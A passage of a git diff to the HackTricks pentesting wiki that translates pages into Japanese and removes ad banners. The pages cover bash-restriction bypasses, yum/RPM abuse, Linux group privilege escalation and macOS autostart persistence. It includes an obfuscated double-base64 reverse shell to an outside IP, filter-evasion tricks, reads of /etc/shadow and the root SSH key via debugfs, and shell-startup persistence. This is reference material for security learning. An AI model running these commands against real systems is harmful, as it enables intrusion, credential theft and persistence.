"\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +294,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..781bd104d 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,27 +1,16 @@ -# Bypass Linux Restrictions +# Linuxの制限を回避する {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses - -### Reverse Shell +## 一般的な制限の回避 +### リバースシェル ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### ショート Rev シェル ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### パスと禁止語のバイパス ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - -### Bypass forbidden spaces - +### 禁止されたスペースをバイパスする ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### バックスラッシュとスラッシュのバイパス ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### パイプをバイパスする ```bash bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## 読み取り専用/Noexec/Distroless バイパス -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +**読み取り専用および noexec 保護** のあるファイルシステム内、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## Chroot & その他の監獄バイパス {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## 参考文献 & その他 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..ea1437947 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +yumに関するさらなる例は[gtfobins](https://gtfobins.github.io/gtfobins/yum/)で見つけることができます。 -# Executing arbitrary commands via RPM Packages +# RPMパッケージを介して任意のコマンドを実行する -## Checking the Environment +## 環境の確認 -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +このベクターを利用するためには、ユーザーが特権の高いユーザー、つまりrootとしてyumコマンドを実行できる必要があります。 -### A working example of this vector +### このベクターの動作例 -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +このエクスプロイトの動作例は、[tryhackme](https://tryhackme.com)の[daily bugle](https://tryhackme.com/room/dailybugle)ルームで見つけることができます。 -## Packing an RPM +## RPMのパッキング -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +次のセクションでは、[fpm](https://github.com/jordansissel/fpm)を使用してリバースシェルをRPMにパッケージ化する方法を説明します。 +以下の例では、攻撃者によって定義できる任意のスクリプトを含むbefore-installトリガーを持つパッケージを作成します。このパッケージがインストールされると、任意のコマンドが実行されます。デモ用にシンプルなリバースnetcatシェルの例を使用しましたが、必要に応じて変更できます。 ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..010054dfe 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +# Sudo/Admin グループ -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -# Sudo/Admin Groups - -## **PE - Method 1** - -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +## **PE - 方法 1** +**時々**、**デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,35 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +この場合、**rootになるには、単に次を実行すればよい**: ```text sudo su ``` - ## PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +バイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。次の内容を確認してください: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxでは**sudoやadmin**のグループが**表示される**可能性があるかを見つけることができます。 -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +**rootになるには、次のコマンドを実行できます**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +**pkexec**を実行しようとすると、次の**エラー**が表示されます: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策があります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - # Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます: ```text %wheel ALL=(ALL:ALL) ALL ``` +これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +この場合、**rootになるには次のように実行するだけです**: ```text sudo su ``` - # Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**shadow** グループのユーザーは **/etc/shadow** ファイルを **読む** ことができます: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +だから、ファイルを読み、いくつかの**ハッシュをクラッキング**してみてください。 -So, read the file and try to **crack some hashes**. +# ディスクグループ -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。 +ファイル:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,70 +84,54 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +注意として、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. +しかし、**rootが所有するファイル**(例えば`/etc/shadow`や`/etc/passwd`)に書き込もうとすると、"**Permission denied**"エラーが発生します。 # Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +**生の画像**を**開く**には、**GIMP**を使用し、**`screen.raw`**ファイルを選択し、ファイルタイプとして**Raw image data**を選択します: ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して(画面をより良く表示するものを選択します): ![](../../images/image%20%28295%29.png) # Root Group -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +デフォルトでは、**rootグループのメンバー**は、いくつかの**サービス**設定ファイルやいくつかの**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです... +**rootメンバーが変更できるファイルを確認する**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Dockerグループ -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームに`chroot`を即座にロードします。これにより、実質的にマシン上でroot権限を得ることができます。 {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# lxc/lxdグループ -[lxc - Privilege Escalation](lxd-privilege-escalation.md) - -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} +[lxc - 特権昇格](lxd-privilege-escalation.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..43c480c85 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -2,241 +2,228 @@ {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に大きく基づいており、**より多くの自動起動場所**を追加すること(可能であれば)、最新のmacOS(13.4)で**どの技術がまだ機能しているか**を示し、必要な**権限**を特定することを目的としています。 -## Sandbox Bypass +## サンドボックスバイパス > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> ここでは、**サンドボックスバイパス**に役立つ起動場所を見つけることができ、**ファイルに書き込む**ことによって何かを単純に実行し、非常に**一般的な****アクション**、特定の**時間**、または通常サンドボックス内から**実行できるアクション**を**待つ**ことができます。ルート権限は必要ありません。 ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに役立つ: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### 場所 - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **トリガー**: 再起動 +- ルートが必要 - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **トリガー**: 再起動 +- ルートが必要 - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **トリガー**: 再起動 +- ルートが必要 - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **トリガー**: 再起動 +- ルートが必要 - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **トリガー**: 再ログイン - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **トリガー**: 再ログイン > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> 興味深い事実として、**`launchd`**には、他のよく知られたサービスが起動する必要があることを含む埋め込まれたプロパティリストがMach-oセクション`__Text.__config`にあります。さらに、これらのサービスには`RequireSuccess`、`RequireRun`、`RebootOnSuccess`が含まれており、これらは実行され、成功裏に完了する必要があることを意味します。 > -> Ofc, It cannot be modified because of code signing. +> もちろん、コード署名のために変更することはできません。 -#### Description & Exploitation +#### 説明と悪用 -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`**は、起動時にOX Sカーネルによって実行される**最初の**プロセスであり、シャットダウン時に終了する**最後の**プロセスです。常に**PID 1**を持つべきです。このプロセスは、次の**ASEP**の**plist**に示された構成を**読み取り、実行**します: -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents`: 管理者によってインストールされたユーザーごとのエージェント +- `/Library/LaunchDaemons`: 管理者によってインストールされたシステム全体のデーモン +- `/System/Library/LaunchAgents`: Appleによって提供されたユーザーごとのエージェント +- `/System/Library/LaunchDaemons`: Appleによって提供されたシステム全体のデーモン -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`および`/Users/$USER/Library/LaunchDemons`にあるplistが**ログインしたユーザーの権限**で開始されます。 +エージェントとデーモンの**主な違いは、エージェントはユーザーがログインしたときに読み込まれ、デーモンはシステム起動時に読み込まれる**ことです(sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります)。また、エージェントはGUIを使用できる一方で、デーモンはバックグラウンドで実行する必要があります。 ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +**エージェントはユーザーがログインする前に実行される必要がある場合があり**、これらは**PreLoginAgents**と呼ばれます。例えば、これはログイン時に支援技術を提供するのに便利です。これらは`/Library/LaunchAgents`にも見つけることができます(例は[**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。 > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> 新しいデーモンまたはエージェントの設定ファイルは、**次回の再起動後または** `launchctl load `を使用して**読み込まれます**。**拡張子なしの.plistファイルを読み込むことも可能です** `launchctl -F `(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\ +> `launchctl unload `を使用して**アンロード**することも可能です(それによって指摘されたプロセスは終了します)。 > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> **エージェント**または**デーモン**が**実行されない**ように**何も**(オーバーライドなど)が**ないことを確認するために**、次のコマンドを実行します:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +現在のユーザーによって読み込まれているすべてのエージェントとデーモンをリストします: ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> plistがユーザーによって所有されている場合、たとえそれがデーモンのシステム全体のフォルダーにあっても、**タスクはユーザーとして実行され**、rootとしては実行されません。これにより、一部の特権昇格攻撃を防ぐことができます。 -#### More info about launchd +#### launchdに関する詳細 -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`**は、**カーネル**から開始される**最初の**ユーザーモードプロセスです。プロセスの開始は**成功**しなければならず、**終了またはクラッシュ**してはいけません。いくつかの**終了信号**に対しても**保護**されています。 -One of the first things `launchd` would do is to **start** all the **daemons** like: +`launchd`が最初に行うことの1つは、次のようなすべての**デーモン**を**開始**することです: -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` -- **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- 実行される時間に基づく**タイマーデーモン**: +- atd (`com.apple.atrun.plist`): `StartInterval`が30分 +- crond (`com.apple.systemstats.daily.plist`): `StartCalendarInterval`が00:15に開始 +- **ネットワークデーモン**: +- `org.cups.cups-lpd`: TCPでリッスン(`SockType: stream`)し、`SockServiceName: printer` +- SockServiceNameは、`/etc/services`からのポートまたはサービスでなければなりません +- `com.apple.xscertd.plist`: ポート1640でTCPにリッスン +- **指定されたパスが変更されたときに実行されるパスデーモン**: +- `com.apple.postfix.master`: パス`/etc/postfix/aliases`をチェック +- **IOKit通知デーモン**: +- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Machポート**: +- `com.apple.xscertd-helper.plist`: `MachServices`エントリに`com.apple.xscertd.helper`という名前を示しています +- **UserEventAgent**: +- これは前のものとは異なります。特定のイベントに応じてlaunchdがアプリを生成します。ただし、この場合、関与するメインバイナリは`launchd`ではなく`/usr/libexec/UserEventAgent`です。これは、SIP制限フォルダー/System/Library/UserEventPlugins/からプラグインをロードし、各プラグインは`XPCEventModuleInitializer`キーに初期化子を示すか、古いプラグインの場合はその`Info.plist`の`FB86416D-6164-2070-726F-70735C216EC0`キーの下の`CFPluginFactories`辞書に示します。 -### shell startup files +### シェルスタートアップファイル Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります -#### Locations +#### ロケーション - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **トリガー**: zshでターミナルを開く - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **トリガー**: zshでターミナルを開く +- rootが必要 - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **トリガー**: zshでターミナルを終了する - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **トリガー**: zshでターミナルを終了する +- rootが必要 +- おそらくさらに多くは: **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) +- **トリガー**: bashでターミナルを開く +- `/etc/profile`(動作しなかった) +- `~/.profile`(動作しなかった) - `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` +- **トリガー**: xtermでトリガーされることが期待されますが、**インストールされていません**。インストール後もこのエラーが発生します: xterm: `DISPLAY is not set` -#### Description & Exploitation +#### 説明と悪用 -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. +`zsh`や`bash`などのシェル環境を開始すると、**特定のスタートアップファイルが実行されます**。macOSは現在、デフォルトシェルとして`/bin/zsh`を使用しています。このシェルは、ターミナルアプリケーションが起動されたときや、デバイスがSSH経由でアクセスされたときに自動的にアクセスされます。`bash`や`sh`もmacOSに存在しますが、使用するには明示的に呼び出す必要があります。 +zshのマニュアルページは、**`man zsh`**で読むことができ、スタートアップファイルの長い説明があります。 ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` - -### Re-opened Applications +### 再オープンされたアプリケーション > [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +> 指定されたエクスプロイトの設定とログアウトおよびログイン、または再起動を行っても、アプリを実行することはできませんでした。(アプリが実行されていなかったため、これらのアクションが実行されるときに実行されている必要があるかもしれません) **Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **トリガー**: アプリケーションの再起動 -#### Description & Exploitation +#### 説明とエクスプロイト -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +再オープンされるすべてのアプリケーションは、plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` 内にあります。 -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**リストにアプリを追加するだけです**。 -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +UUIDは、そのディレクトリをリスト表示するか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` を使用して見つけることができます。 +再オープンされるアプリケーションを確認するには、次のようにします: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +このリストに**アプリケーションを追加する**には、次のようにします: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set 